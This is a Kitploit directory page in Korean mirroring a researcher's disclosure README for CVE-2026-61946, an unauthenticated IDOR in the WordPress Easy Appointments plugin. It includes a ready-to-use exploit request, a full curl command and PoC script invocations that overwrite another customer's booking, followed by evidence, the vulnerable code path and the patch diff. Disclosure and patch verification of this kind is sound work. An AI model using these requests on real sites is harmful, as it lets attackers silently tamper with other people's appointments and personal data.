Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-61946-Easy-Appointments-IDOR — CVE-2026-61946: Easy Appointments <= 3.12.27에서의 인증되지 않은 IDOR | Kitploit
도구/GitHubGitHub/rat5ak/cve-2026-61946-easy-appointments-idor
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubrat5ak/cve-2026-61946-easy-appointments-idor

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: Easy Appointments <= 3.12.27에서의 인증되지 않은 IDOR

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-61946: 한 약속 ID로 다른 사람의 예약으로

WordPress Easy Appointments 플러그인에서 인증되지 않은 안전하지 않은 직접 객체 참조를 발견했습니다. 공개 예약 엔드포인트가 쿼리 문자열에서 id를 받아 해당 데이터를 플러그인의 데이터베이스 replace() 경로로 전달했습니다. 즉, 새로운 공개 예약 요청이 기존 약속 행의 업데이트로 변환될 수 있었습니다. 로그인, 쿠키 또는 WordPress 계정이 필요하지 않았습니다. 다른 약속의 기본 키를 제공하고 실제 열린 슬롯을 선택하면 플러그인이 공격자가 제어하는 고객 및 약속 데이터로 해당 예약을 덮어썼습니다.

CVECVE-2026-61946
PluginEasy Appointments
Slugeasy-appointments
Affected<= 3.12.27
Fixed3.12.28
Bug class인증되지 않은 IDOR / 사용자 제어 기본 키 (CWE-639)
Impact임의의 기존 약속 덮어쓰기
CVSS6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L)
CreditDaniel Wade
Patchstack PSID4f9c506f9f90

TL;DR

공개 엔드포인트는 다음과 같은 요청을 수락했습니다.

root@kitploit:~
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example

id=2는 신뢰할 수 없는 객체 식별자로 처리되지 않았습니다. 영향을 받는 버전에서는 입력 필터링을 통과하여 데이터베이스 교체 경로에 도달했습니다. 행 2가 이미 다른 고객의 것이었다면, 공개 요청은 새 행을 생성하는 대신 해당 행을 업데이트했습니다.

root@kitploit:~
Before: id=2 | Jane Victim | [email protected] | confirmed   | $50.00
After:  id=2 | ATTACKER    | [email protected]   | reservation | $50.00

The Bug

Easy Appointments는 예약 핸들러를 인증되지 않은 방문자에게 노출합니다:

root@kitploit:~
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));

공개 예약 양식에서는 예상되는 동작입니다. 인증 버그는 해당 공개 핸들러 내에서 호출자의 객체 키를 신뢰한 데 있었습니다.

취약한 흐름은 다음과 같았습니다:

root@kitploit:~
unauthenticated GET
    -> action=ea_res_appointment
    -> $_GET['id']
    -> allowed through the reservation field list
    -> models->replace('ea_appointments', $data, true)
    -> existing appointment row selected by primary key
    -> victim booking overwritten

Nonce 및 CAPTCHA 검사는 제공된 약속 ID의 소유권을 확인하지 않았습니다. 또한 테스트한 구성에서는 기본적으로 비활성화되어 있어 요청에 세션 상태가 전혀 필요하지 않았습니다. 엔드포인트는 가용성을 확인했지만, 이는 객체 권한 문제를 해결하지 못했습니다. 단지 공격자가 유효한 공개 위치, 서비스, 작업자, 날짜 및 현재 열린 시간 슬롯을 선택해야 한다는 의미였습니다.

Triggering It

다음이 필요합니다:

root@kitploit:~
1. Easy Appointments <= 3.12.27이 실행되는 일회용 WordPress 랩
2. 테스트용으로 생성한 랩 약속의 ID
3. 공개 양식에서 유효한 위치, 서비스 및 작업자 ID
4. 현재 열려 있는 시간 슬롯

그런 다음 두 가지 안전 스위치와 함께 PoC를 실행합니다. --execute / -Execute 없이 스크립트는 보낼 요청만 출력합니다.

PowerShell:

root@kitploit:~
.\poc\reproduce.ps1 `
  -Target "http://127.0.0.1" `
  -AppointmentId 2 `
  -Location 1 `
  -Service 1 `
  -Worker 1 `
  -Date "2026-04-09" `
  -Start "15:00" `
  -AuthorizedLab `
  -Execute

Bash:

root@kitploit:~
./poc/reproduce.sh \
  --target "http://127.0.0.1" \
  --id 2 \
  --location 1 \
  --service 1 \
  --worker 1 \
  --date "2026-04-09" \
  --start "15:00" \
  --authorized-lab \
  --execute

수동 curl:

root@kitploit:~
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
  --data-urlencode "action=ea_res_appointment" \
  --data-urlencode "id=2" \
  --data-urlencode "location=1" \
  --data-urlencode "service=1" \
  --data-urlencode "worker=1" \
  --data-urlencode "date=2026-04-09" \
  --data-urlencode "start=15:00" \
  --data-urlencode "name=ATTACKER" \
  --data-urlencode "[email protected]" \
  --data-urlencode "phone=666" \
  --data-urlencode "description=PWNED"

인증 헤더나 쿠키는 필요하지 않습니다.

Evidence

다음 환경에서 문제를 재현했습니다:

root@kitploit:~
WordPress 6.9.4
Easy Appointments 3.12.23.1
인증되지 않은 요청
쿠키 없음
Nonce 비활성화
CAPTCHA 비활성화

테스트는 랩 피해자 계정이 소유한 기존 약속 행을 사용했습니다:

root@kitploit:~
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00

공개 예약 요청 후, 동일한 기본 키에 포함된 내용:

root@kitploit:~
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00

기본 키와 가격이 변경되지 않음으로써 업데이트 동작이 명확해졌습니다. 이는 첫 번째 예약과 우연히 유사한 두 번째 예약이 아니라, 기존 행이 교체된 것입니다.

전후 증명 사본은 evidence/sample-before-after.txt에 있습니다.

Impact

약속 ID를 알고 있거나 추측할 수 있는 인증되지 않은 공격자는 해당 예약의 고객 및 일정 데이터를 손상시킬 수 있습니다. 사이트의 워크플로에 따라 다음과 같은 변경이 포함될 수 있습니다:

root@kitploit:~
고객 이름 및 이메일
전화번호
약속 설명
위치, 서비스 및 할당된 작업자
날짜 및 시작 시간
공개 흐름에서 생성된 예약 상태

실질적인 결과는 조용한 예약 변조입니다. 합법적인 약속이 리디렉션, 이동, 훼손되거나 운영상 무용지물이 될 수 있습니다. 공개 양식은 요청을 구성하는 데 필요한 유효한 일정 값을 노출합니다.

공식 점수는 6.5 Medium입니다:

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

The Fix

버전 3.12.28의 보안 관련 변경 사항은 매우 직설적입니다:

root@kitploit:~
 foreach ($data as $key => $rem) {
     if (!in_array($key, $dont_remove)) unset($data[$key]);
 }
+
+unset($data['id']);
+$data['id'] = null;
 unset($data['action']);

공개 예약 흐름은 더 이상 데이터베이스 객체의 기본 키를 선택할 수 없습니다. 요청은 임의의 기존 약속을 교체하는 대신 새 레코드 경로로 강제됩니다.

동일한 보안 커밋은 nonce 옵션 로직도 수정했습니다. 이는 심층 방어에 유용하지만, nonce 검증만으로는 공격자가 제공한 약속 ID에 대한 소유권 확인이 되지 않습니다. 클라이언트 제어 키를 제거하는 것이 직접적인 IDOR 수정입니다.

추출된 패치는 patch/fix.diff에 있습니다.

Repository Structure

root@kitploit:~
poc/
    reproduce.ps1             # PowerShell 랩 재현기
    reproduce.sh              # Bash/curl 랩 재현기
evidence/
    sample-before-after.txt    # 행 교체의 정제된 증거
patch/
    fix.diff                   # 보안 관련 업스트림 diff
README.md

Timeline

날짜이벤트
2026-04-03Patchstack에 보고됨
2026-07-07패치 검증됨
2026-07-16Patchstack이 취약점 항목 게시
2026-07-23CVE-2026-61946 게시됨

Resources

  • Patchstack 권고: https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability
  • CVE 기록: https://www.cve.org/CVERecord?id=CVE-2026-61946
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-61946
  • WordPress 플러그인: https://wordpress.org/plugins/easy-appointments/
  • 업스트림 소스: https://github.com/ahmedkaludi/easy-appointments
  • 보안 수정 커밋: https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768
  • 취약한 태그: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/
  • 수정된 태그: https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/

면책 조항: 이 PoC는 패치 제공 후 방어적 연구 및 검증을 위해 게시되었습니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 사용하지 마십시오.

CVE-2026-61946 - Easy Appointments 3.12.28에서 수정됨. 영향을 받는 버전: 3.12.27 및 이전.

Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online

도구 다운로드